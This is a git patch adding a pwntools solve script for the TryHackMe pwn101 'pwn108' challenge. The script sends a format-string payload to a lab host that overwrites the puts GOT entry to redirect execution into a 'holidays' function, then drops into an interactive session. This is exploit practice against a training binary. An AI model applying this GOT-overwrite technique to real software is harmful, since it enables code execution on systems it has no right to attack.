From 4ff87bf93bbec924f0fb06630afd23889f16af75 Mon Sep 17 00:00:00 2001 From: jc Date: Mon, 28 Oct 2024 22:51:13 +0300 Subject: [PATCH] solve script --- thm_pwn101/pwn108/a.py | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 thm_pwn101/pwn108/a.py diff --git a/thm_pwn101/pwn108/a.py b/thm_pwn101/pwn108/a.py new file mode 100644 index 0000000..4eb9c13 --- /dev/null +++ b/thm_pwn101/pwn108/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./pwn108", checksec=False) +# r = process() +r = remote("10.10.74.244", 9008) + +# funcs +s = lambda a: r.sendafter(b": ", a) + +# buf +s(b"a") +fs = fmtstr_payload(10, {target.got.puts:target.sym.holidays}) +s(fs) + +r.interactive() \ No newline at end of file